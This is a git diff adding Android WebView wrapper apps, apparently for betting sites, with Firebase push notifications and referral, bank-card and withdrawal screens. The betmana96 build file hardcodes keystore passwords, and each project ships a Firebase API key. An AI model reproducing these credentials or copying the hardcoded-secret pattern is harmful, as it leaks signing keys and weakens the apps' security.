a/bb8au/src/main/res/xml/app_updater_paths.xml b/bb8au/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/bb8au/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/bb8au/src/main/res/xml/network_security_config.xml b/bb8au/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/bb8au/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/bb8au/src/main/res/xml/provider_paths.xml b/bb8au/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/bb8au/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/bb8au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/bb8au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/bb8au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/be9au/.gitignore b/be9au/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/be9au/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/ttslot888new/nep88/build.gradle b/be9au/build.gradle similarity index 96% rename from ttslot888new/nep88/build.gradle rename to be9au/build.gradle index 3978f2b..c773ebc 100644 --- a/ttslot888new/nep88/build.gradle +++ b/be9au/build.gradle @@ -7,7 +7,7 @@ android { compileSdkVersion 31 buildToolsVersion "30.0.3" defaultConfig { - applicationId "com.web.sking668" + applicationId "com.xyz.be9au" minSdkVersion 24 targetSdkVersion 31 versionCode rootProject.ext.versionCode @@ -44,7 +44,7 @@ android { applicationVariants.all { variant -> variant.outputs.all { - def appName = "sking668" + def appName = "be9au" def outputDir = new File(rootProject.ext.outputPath) // 创建输出目录 outputDir.mkdirs() diff --git a/be9au/google-services.json b/be9au/google-services.json new file mode 100644 index 0000000..7c64a20 --- /dev/null +++ b/be9au/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "282352500890", + "project_id": "notib4e9", + "storage_bucket": "notib4e9.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:282352500890:android:49dcf60011d0bc83ad9f23", + "android_client_info": { + "package_name": "com.xyz.be9au" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyCegeV1mLrb7aZyeuamU4XXM1LIaROjW1o" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/be9au/ppn.jks b/be9au/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/be9au/ppn.jks differ diff --git a/be9au/proguard-rules.pro b/be9au/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/be9au/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/be9au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/be9au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/be9au/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/be9au/src/main/AndroidManifest.xml b/be9au/src/main/AndroidManifest.xml new file mode 100644 index 0000000..0fdc598 --- /dev/null +++ b/be9au/src/main/AndroidManifest.xml @@ -0,0 +1,113 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/be9au/src/main/java/com/xyz/be9au/MainActivity.java b/be9au/src/main/java/com/xyz/be9au/MainActivity.java new file mode 100644 index 0000000..569bf45 --- /dev/null +++ b/be9au/src/main/java/com/xyz/be9au/MainActivity.java @@ -0,0 +1,44 @@ +package com.xyz.be9au; + + +import android.content.pm.PackageInfo; +import android.content.pm.PackageManager; +import android.os.Bundle; +import com.web.base.MainActivity2; +import com.google.firebase.messaging.FirebaseMessaging; + +public class MainActivity extends MainActivity2 { + + @Override + protected void onCreate(Bundle savedInstanceState) { + userId = 148; + saveInt(MainActivity.this,"user_code",userId); + saveInt(MainActivity.this,"version_code",getVersion()); + com.web.base.MainActivity.saveString(this, "base_url","http://be9au.net/"); + //网页的底部NavigationBar颜色 + com.web.base.MainActivity.saveString(this, "style_color", "#a43474"); + //页面的大背景颜色 + com.web.base.MainActivity.saveString(this, "windows_color", "#e7e7e7"); + //任务栏的文字颜色 0 黑 1白 默认黑 + saveInt(MainActivity.this,"is_white",0); + super.onCreate(savedInstanceState); + //用于修改大背景渐变色 不设置 大背景就是 windows_color 的颜色 + setBackDrawables(R.drawable.big_bg); + setImageView(false); + //订阅主题 + FirebaseMessaging.getInstance().subscribeToTopic("demo") + .addOnCompleteListener(task -> { + }); + } + + public int getVersion(){ + try { + PackageManager packageManager = getPackageManager(); + PackageInfo packageInfo = packageManager.getPackageInfo(getPackageName(), 0); + int versionCode = packageInfo.versionCode; // 版本码 + return versionCode; + } catch (PackageManager.NameNotFoundException e) { + return 0; + } + } +} diff --git a/be9au/src/main/java/com/xyz/be9au/MyFirebaseMessageingService.java b/be9au/src/main/java/com/xyz/be9au/MyFirebaseMessageingService.java new file mode 100644 index 0000000..98dc4d8 --- /dev/null +++ b/be9au/src/main/java/com/xyz/be9au/MyFirebaseMessageingService.java @@ -0,0 +1,125 @@ +package com.xyz.be9au; + +import android.app.NotificationChannel; +import android.app.NotificationManager; +import android.app.PendingIntent; +import android.content.ComponentName; +import android.content.Context; +import android.content.Intent; +import android.os.Build; +import androidx.annotation.NonNull; +import androidx.core.app.NotificationCompat; +import com.google.firebase.messaging.FirebaseMessagingService; +import com.google.firebase.messaging.RemoteMessage; +import com.google.gson.Gson; +import com.web.base.GsonUtils; +import com.web.base.MessageInfo; +import java.util.Map; +import java.util.Random; + +public class MyFirebaseMessageingService extends FirebaseMessagingService { + + public MyFirebaseMessageingService() { + } + + @Override + public void onMessageReceived(@NonNull RemoteMessage remoteMessage) { + super.onMessageReceived(remoteMessage); + Map serviceData = remoteMessage.getData(); //后台推送数据 + if (serviceData != null && serviceData.containsKey("message")) { + String value = serviceData.get("message"); + Gson gson = new Gson(); + MessageInfo messageInfo = gson.fromJson(value, MessageInfo.class); + showNotification(messageInfo); + } else { + //收到通知 创建notify + if (remoteMessage.getNotification() != null) { + showNotification(remoteMessage.getNotification().getTitle(), remoteMessage.getNotification().getBody()); + } + } + } + + private void showNotification(MessageInfo messageInfo) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + notifyIntent.putExtra("message", messageInfo); + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(messageInfo.getTitle()) + .setContentText(messageInfo.getContent()) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } + + private void showNotification(String title, String body) { + Intent notifyIntent = new Intent(this, MainActivity.class); + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.CUPCAKE) { + ComponentName launchComponent = null; + launchComponent = getApplication() + .getPackageManager() + .getLaunchIntentForPackage(getApplication().getPackageName()) + .getComponent(); + notifyIntent.setComponent(launchComponent); + } + notifyIntent.putExtra("message", body); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP | Intent.FLAG_ACTIVITY_SINGLE_TOP); + notifyIntent.setAction(Intent.ACTION_VIEW); + notifyIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // 必须 + PendingIntent pendingIntent = PendingIntent.getActivity(this, new Random().nextInt(10000), notifyIntent, PendingIntent.FLAG_IMMUTABLE); + NotificationManager notificationManager = (NotificationManager) getSystemService(Context.NOTIFICATION_SERVICE); + NotificationChannel channelwinway = null; + NotificationCompat.Builder notificationBuilder = null; + MessageInfo messageInfo = GsonUtils.getObjFromJSON(body, MessageInfo.class); + if (messageInfo != null) { + body = messageInfo.getContent(); + } + if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) { + channelwinway = new NotificationChannel(getString(com.web.base.R.string.app_name), "notify", NotificationManager.IMPORTANCE_DEFAULT); + channelwinway.enableLights(true); + channelwinway.enableVibration(true); + notificationManager.createNotificationChannel(channelwinway); + notificationBuilder = new NotificationCompat.Builder(this, channelwinway.getId()) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } else { + notificationBuilder = new NotificationCompat.Builder(this, getString(com.web.base.R.string.app_name)) + .setSmallIcon(R.mipmap.app_logo) + .setContentTitle(title) + .setContentText(body) + .setAutoCancel(true) + .setContentIntent(pendingIntent); + } + notificationManager.notify(0, notificationBuilder.build()); + } +} diff --git a/be9au/src/main/java/com/xyz/be9au/WebApplication.java b/be9au/src/main/java/com/xyz/be9au/WebApplication.java new file mode 100644 index 0000000..5975c01 --- /dev/null +++ b/be9au/src/main/java/com/xyz/be9au/WebApplication.java @@ -0,0 +1,35 @@ +package com.xyz.be9au; + +import android.app.Application; +import android.content.Context; +import com.tencent.smtt.export.external.TbsCoreSettings; +import com.tencent.smtt.sdk.QbSdk; +import java.util.HashMap; + +public class WebApplication extends Application { + + + public static Context application; + @Override + public void onCreate() { + super.onCreate(); +// 设置开启优化方案 + application = this; + HashMap map = new HashMap(); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_SPEEDY_CLASSLOADER, true); + map.put(TbsCoreSettings.TBS_SETTINGS_USE_DEXLOADER_SERVICE, true); + QbSdk.initTbsSettings(map); + QbSdk.initX5Environment(this, new QbSdk.PreInitCallback() { + @Override + public void onCoreInitFinished() { + + } + + @Override + public void onViewInitFinished(boolean b) { + + } + }); + QbSdk.setDownloadWithoutWifi(true); + } +} diff --git a/be9au/src/main/res/drawable-anydpi/ic_action_back.xml b/be9au/src/main/res/drawable-anydpi/ic_action_back.xml new file mode 100644 index 0000000..013ab07 --- /dev/null +++ b/be9au/src/main/res/drawable-anydpi/ic_action_back.xml @@ -0,0 +1,11 @@ + + + diff --git a/be9au/src/main/res/drawable-hdpi/ic_action_back.png b/be9au/src/main/res/drawable-hdpi/ic_action_back.png new file mode 100644 index 0000000..1560c04 Binary files /dev/null and b/be9au/src/main/res/drawable-hdpi/ic_action_back.png differ diff --git a/be9au/src/main/res/drawable-mdpi/ic_action_back.png b/be9au/src/main/res/drawable-mdpi/ic_action_back.png new file mode 100644 index 0000000..d5841d2 Binary files /dev/null and b/be9au/src/main/res/drawable-mdpi/ic_action_back.png differ diff --git a/be9au/src/main/res/drawable-v24/ic_launcher_foreground.xml b/be9au/src/main/res/drawable-v24/ic_launcher_foreground.xml new file mode 100644 index 0000000..2b068d1 --- /dev/null +++ b/be9au/src/main/res/drawable-v24/ic_launcher_foreground.xml @@ -0,0 +1,30 @@ + + + + + + + + + + + \ No newline at end of file diff --git a/be9au/src/main/res/drawable-xhdpi/ic_action_back.png b/be9au/src/main/res/drawable-xhdpi/ic_action_back.png new file mode 100644 index 0000000..5c14e41 Binary files /dev/null and b/be9au/src/main/res/drawable-xhdpi/ic_action_back.png differ diff --git a/be9au/src/main/res/drawable-xxhdpi/ic_action_back.png b/be9au/src/main/res/drawable-xxhdpi/ic_action_back.png new file mode 100644 index 0000000..0516d08 Binary files /dev/null and b/be9au/src/main/res/drawable-xxhdpi/ic_action_back.png differ diff --git a/be9au/src/main/res/drawable/big_bg.xml b/be9au/src/main/res/drawable/big_bg.xml new file mode 100644 index 0000000..8d63089 --- /dev/null +++ b/be9au/src/main/res/drawable/big_bg.xml @@ -0,0 +1,8 @@ + + + + \ No newline at end of file diff --git a/be9au/src/main/res/drawable/ic_launcher_background.xml b/be9au/src/main/res/drawable/ic_launcher_background.xml new file mode 100644 index 0000000..07d5da9 --- /dev/null +++ b/be9au/src/main/res/drawable/ic_launcher_background.xml @@ -0,0 +1,170 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/be9au/src/main/res/drawable/input_bg.xml b/be9au/src/main/res/drawable/input_bg.xml new file mode 100644 index 0000000..4e895aa --- /dev/null +++ b/be9au/src/main/res/drawable/input_bg.xml @@ -0,0 +1,20 @@ + + + + + + + + + + + + + + + + + + diff --git a/be9au/src/main/res/drawable/pass_word_bg.xml b/be9au/src/main/res/drawable/pass_word_bg.xml new file mode 100644 index 0000000..2724e60 --- /dev/null +++ b/be9au/src/main/res/drawable/pass_word_bg.xml @@ -0,0 +1,28 @@ + + + + + + + + + + + + + + + + + + diff --git a/be9au/src/main/res/drawable/pass_word_bg1.xml b/be9au/src/main/res/drawable/pass_word_bg1.xml new file mode 100644 index 0000000..d10d780 --- /dev/null +++ b/be9au/src/main/res/drawable/pass_word_bg1.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/be9au/src/main/res/drawable/pass_word_bg2.xml b/be9au/src/main/res/drawable/pass_word_bg2.xml new file mode 100644 index 0000000..916d99c --- /dev/null +++ b/be9au/src/main/res/drawable/pass_word_bg2.xml @@ -0,0 +1,23 @@ + + + + + + \ No newline at end of file diff --git a/be9au/src/main/res/drawable/shape_btn_bg.xml b/be9au/src/main/res/drawable/shape_btn_bg.xml new file mode 100644 index 0000000..af87a0d --- /dev/null +++ b/be9au/src/main/res/drawable/shape_btn_bg.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/be9au/src/main/res/drawable/shape_dialog_bg2.xml b/be9au/src/main/res/drawable/shape_dialog_bg2.xml new file mode 100644 index 0000000..7837a42 --- /dev/null +++ b/be9au/src/main/res/drawable/shape_dialog_bg2.xml @@ -0,0 +1,6 @@ + + + + + \ No newline at end of file diff --git a/be9au/src/main/res/drawable/shape_dialog_bg3.xml b/be9au/src/main/res/drawable/shape_dialog_bg3.xml new file mode 100644 index 0000000..ca0a18d --- /dev/null +++ b/be9au/src/main/res/drawable/shape_dialog_bg3.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/be9au/src/main/res/drawable/shape_dialog_bg_new.xml b/be9au/src/main/res/drawable/shape_dialog_bg_new.xml new file mode 100644 index 0000000..e96d4e0 --- /dev/null +++ b/be9au/src/main/res/drawable/shape_dialog_bg_new.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/be9au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml b/be9au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/be9au/src/main/res/mipmap-anydpi-v26/ic_launcher.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/be9au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml b/be9au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml new file mode 100644 index 0000000..eca70cf --- /dev/null +++ b/be9au/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml @@ -0,0 +1,5 @@ + + + + + \ No newline at end of file diff --git a/be9au/src/main/res/mipmap-hdpi/ic_empty.png b/be9au/src/main/res/mipmap-hdpi/ic_empty.png new file mode 100644 index 0000000..72473d6 Binary files /dev/null and b/be9au/src/main/res/mipmap-hdpi/ic_empty.png differ diff --git a/be9au/src/main/res/mipmap-hdpi/ic_pull_down.png b/be9au/src/main/res/mipmap-hdpi/ic_pull_down.png new file mode 100644 index 0000000..7dc0ec3 Binary files /dev/null and b/be9au/src/main/res/mipmap-hdpi/ic_pull_down.png differ diff --git a/be9au/src/main/res/mipmap-xhdpi/ic_close.png b/be9au/src/main/res/mipmap-xhdpi/ic_close.png new file mode 100644 index 0000000..c0b0127 Binary files /dev/null and b/be9au/src/main/res/mipmap-xhdpi/ic_close.png differ diff --git a/be9au/src/main/res/mipmap-xhdpi/ic_menu.png b/be9au/src/main/res/mipmap-xhdpi/ic_menu.png new file mode 100644 index 0000000..2b55ec5 Binary files /dev/null and b/be9au/src/main/res/mipmap-xhdpi/ic_menu.png differ diff --git a/be9au/src/main/res/mipmap-xxhdpi/app_logo.png b/be9au/src/main/res/mipmap-xxhdpi/app_logo.png new file mode 100644 index 0000000..a09ffa0 Binary files /dev/null and b/be9au/src/main/res/mipmap-xxhdpi/app_logo.png differ diff --git a/be9au/src/main/res/values-en/strings.xml b/be9au/src/main/res/values-en/strings.xml new file mode 100644 index 0000000..0d60963 --- /dev/null +++ b/be9au/src/main/res/values-en/strings.xml @@ -0,0 +1,51 @@ + + Please Set Your Password + Cancel + Sure + New Version Update + Next Update + Update Immediately + Click to close notification + Click to re-download + Download failed + Click to install + Download completed + Downloading... + Version update + Downloading game + Getting download data... + Version update + Downloading game + Need to turn on mobile phone notification permission + Exit + Setting + Tip + Please enter the invitation code + My invitation code: + Superior invitation code: + Total number of invites: + App download link: + Share + Check Invitation Records + Invitation Records + Total number of invitees: %d + No Data + Withdrawal Record + Withdrawal Application + Edit Bank Card Information + 60 + Name: + Please enter the bank card name + Bank card account: + Please enter the bank card account + Country: + Please select a country + Bank Name: + Please select a bank name + Note: Please enter the country code before selecting the bank name! + Balance: %s + Total Earnings: %s + Amount: %s + Please enter the withdrawal amount + Withdrawal application has been submitted + \ No newline at end of file diff --git a/be9au/src/main/res/values-night/themes.xml b/be9au/src/main/res/values-night/themes.xml new file mode 100644 index 0000000..28404fa --- /dev/null +++ b/be9au/src/main/res/values-night/themes.xml @@ -0,0 +1,70 @@ + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/be9au/src/main/res/values/colors.xml b/be9au/src/main/res/values/colors.xml new file mode 100644 index 0000000..77570c9 --- /dev/null +++ b/be9au/src/main/res/values/colors.xml @@ -0,0 +1,18 @@ + + + #FFFFFF + #FFFFFF + #FFFFFF + #FF03DAC5 + #FF018786 + #FF000000 + #FFFFFFFF + #EF4723 + #a43474 + + #2C2C2E + #FFA722 + #434343 + #BCBCBC + + \ No newline at end of file diff --git a/be9au/src/main/res/values/strings.xml b/be9au/src/main/res/values/strings.xml new file mode 100644 index 0000000..aaafe34 --- /dev/null +++ b/be9au/src/main/res/values/strings.xml @@ -0,0 +1,74 @@ + + BE9AU + 请输入6位密码 + 取消 + 确定 + 版本更新 + 下次更新 + 立即更新 + 点击关闭通知 + 点击重新下载 + 下载失败 + 点击安装 + 下载完成 + 正在下载… + 版本更新 + 下载游戏中 + 版本更新 + 下载游戏中 + 正在获取下载数据… + 需要打开手机通知权限 + 退出 + 设置 + 提示 + 请输入邀请码 + 我的邀请码: + 上级邀请码: + 总邀请人数: + 邀请您下载: + 分享 + 查看邀请记录 + 邀请记录 + 总邀请人数: %d + 暂无数据 + 提现记录 + 提现申请 + 编辑银行卡信息 + 86 + 持卡人姓名: + 请输入持卡人姓名 + 国家地区: + 请选择国家地区 + 开户行名称: + 请选择开户行名称 + 银行户口: + 请输入银行卡户口 + (注:请先输入国家区号再选择开户行名称!) + 余额: %s + 总收益: %s + 金额: %s + 请输入提现金额 + 提现申请已提交 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/be9au/src/main/res/values/themes.xml b/be9au/src/main/res/values/themes.xml new file mode 100644 index 0000000..72d13b3 --- /dev/null +++ b/be9au/src/main/res/values/themes.xml @@ -0,0 +1,90 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/be9au/src/main/res/xml/app_updater_paths.xml b/be9au/src/main/res/xml/app_updater_paths.xml new file mode 100644 index 0000000..1254450 --- /dev/null +++ b/be9au/src/main/res/xml/app_updater_paths.xml @@ -0,0 +1,10 @@ + + + + + + + + + + \ No newline at end of file diff --git a/be9au/src/main/res/xml/network_security_config.xml b/be9au/src/main/res/xml/network_security_config.xml new file mode 100644 index 0000000..dca93c0 --- /dev/null +++ b/be9au/src/main/res/xml/network_security_config.xml @@ -0,0 +1,4 @@ + + + + \ No newline at end of file diff --git a/be9au/src/main/res/xml/provider_paths.xml b/be9au/src/main/res/xml/provider_paths.xml new file mode 100644 index 0000000..c9a897a --- /dev/null +++ b/be9au/src/main/res/xml/provider_paths.xml @@ -0,0 +1,13 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/be9au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java b/be9au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java new file mode 100644 index 0000000..3259554 --- /dev/null +++ b/be9au/src/test/java/Tptogiar/calculcator/ExampleUnitTest.java @@ -0,0 +1,35 @@ +package Tptogiar.calculcator; + +import org.junit.Test; + +import java.util.regex.Matcher; +import java.util.regex.Pattern; + +import static org.junit.Assert.*; + +/** + * Example local unit test, which will execute on the development machine (host). + * + * @see Testing documentation + */ +public class ExampleUnitTest { + @Test + public void addition_isCorrect() { + assertEquals(4, 2 + 2); + } + + @Test + public void TestPattern(){ +// + Pattern compile = Pattern.compile( "^(\\-|\\+)?\\d+(\\.\\d+)?$"); + String a="+45.5"; + boolean matches = compile.matcher(a).matches(); + System.out.println(matches); + String result = compile.matcher(a).replaceAll(""); + System.out.println(result); + + + } + + +} \ No newline at end of file diff --git a/betmana96/.gitignore b/betmana96/.gitignore new file mode 100644 index 0000000..956c004 --- /dev/null +++ b/betmana96/.gitignore @@ -0,0 +1,2 @@ +/build +/release \ No newline at end of file diff --git a/betmana96/build.gradle b/betmana96/build.gradle new file mode 100644 index 0000000..37cb265 --- /dev/null +++ b/betmana96/build.gradle @@ -0,0 +1,78 @@ +plugins { + id 'com.android.application' + id 'com.google.gms.google-services' +} + +android { + compileSdkVersion 31 + buildToolsVersion "30.0.3" + defaultConfig { + applicationId "com.web.betmana96" + minSdkVersion 24 + targetSdkVersion 31 + versionCode rootProject.ext.versionCode + versionName rootProject.ext.versionName + testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" + } + + signingConfigs { + debug { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + release { + storeFile file('dskjweb.jks') + storePassword "dskj2024" + keyAlias 'dskjalias' + keyPassword "dskj2024" + } + } + + buildTypes { + release { + signingConfig signingConfigs.release + minifyEnabled false + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' + } + } + compileOptions { + sourceCompatibility JavaVersion.VERSION_1_8 + targetCompatibility JavaVersion.VERSION_1_8 + } + + applicationVariants.all { variant -> + variant.outputs.all { + def appName = "betmana96" + def outputDir = new File(rootProject.ext.outputPath) + // 创建输出目录 + outputDir.mkdirs() + def outputFileName = "${appName}.apk" + // 设置输出文件名 + setOutputFileName(outputFileName) + // 计算新的输出文件 + def newOutputFile = new File(outputDir, outputFileName) + // 如果新的输出目录不存在,则创建它 + newOutputFile.parentFile.mkdirs() + // 在构建完成后将 APK 复制到新位置 + variant.assemble.doLast { + try { + java.nio.file.Files.copy( + outputFile.toPath(), + newOutputFile.toPath(), + java.nio.file.StandardCopyOption.REPLACE_EXISTING + ) + println "Success to copy APK !!!" + } catch (java.io.IOException e) { + println "Failed to copy APK: ${e.message}" + } + } + } + } + +} + +dependencies { + implementation project(path: ':base_no_music') +} \ No newline at end of file diff --git a/betmana96/dskjweb.jks b/betmana96/dskjweb.jks new file mode 100644 index 0000000..a303350 Binary files /dev/null and b/betmana96/dskjweb.jks differ diff --git a/betmana96/google-services.json b/betmana96/google-services.json new file mode 100644 index 0000000..54dafaa --- /dev/null +++ b/betmana96/google-services.json @@ -0,0 +1,29 @@ +{ + "project_info": { + "project_number": "336501763605", + "project_id": "betmana96-38ab7", + "storage_bucket": "betmana96-38ab7.firebasestorage.app" + }, + "client": [ + { + "client_info": { + "mobilesdk_app_id": "1:336501763605:android:bc3d0dce26083a6ad5a81c", + "android_client_info": { + "package_name": "com.web.betmana96" + } + }, + "oauth_client": [], + "api_key": [ + { + "current_key": "AIzaSyBsN3spRfa_vrRUGfTQMD705Ge8uxdfTkc" + } + ], + "services": { + "appinvite_service": { + "other_platform_oauth_client": [] + } + } + } + ], + "configuration_version": "1" +} \ No newline at end of file diff --git a/betmana96/ppn.jks b/betmana96/ppn.jks new file mode 100644 index 0000000..5898029 Binary files /dev/null and b/betmana96/ppn.jks differ diff --git a/betmana96/proguard-rules.pro b/betmana96/proguard-rules.pro new file mode 100644 index 0000000..107b7ee --- /dev/null +++ b/betmana96/proguard-rules.pro @@ -0,0 +1,32 @@ +# Add project specific ProGuard rules here. +# You can control the set of applied configuration files using the +# proguardFiles setting in build.gradle. +# +# For more details, see +# http://developer.android.com/guide/developing/tools/proguard.html + +# If your project uses WebView with JS, uncomment the following +# and specify the fully qualified class name to the JavaScript interface +# class: +#-keepclassmembers class fqcn.of.javascript.interface.for.webview { +# public *; +#} + +# Uncomment this to preserve the line number information for +# debugging stack traces. +#-keepattributes SourceFile,LineNumberTable + +# If you keep the line number information, uncomment this to +# hide the original source file name. +#-renamesourcefileattribute SourceFile + +-dontwarn dalvik.** +-dontwarn com.tencent.smtt.** + +-keep class com.tencent.smtt.** { + *; +} + +-keep class com.tencent.tbs.** { + *; +} \ No newline at end of file diff --git a/betmana96/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/betmana96/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java new file mode 100644 index 0000000..44b9f39 --- /dev/null +++ b/betmana96/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java @@ -0,0 +1,26 @@ +package Tptogiar.calculcator; + +import android.content.Context; + +import androidx.test.platform.app.InstrumentationRegistry; +import androidx.test.ext.junit.runners.AndroidJUnit4; + +import org.junit.Test; +import org.junit.runner.RunWith; + +import static org.junit.Assert.*; + +/** + * Instrumented test, which will execute on an Android device. + * + * @see Testing documentation + */ +@RunWith(AndroidJUnit4.class) +public class ExampleInstrumentedTest { + @Test + public void useAppContext() { + // Context of the app under test. + Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext(); + assertEquals("Tptogiar.calculcator", appContext.getPackageName()); + } +} \ No newline at end of file diff --git a/betmana96/src/main/AndroidManifest.xml b/betmana96/src/main/AndroidManifest.xml new file mode 100644 index 0000000..81b7501 --- /dev/null +++ b/betmana96/src/main/AndroidManifest.xml @@ -0,0 +1,98 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 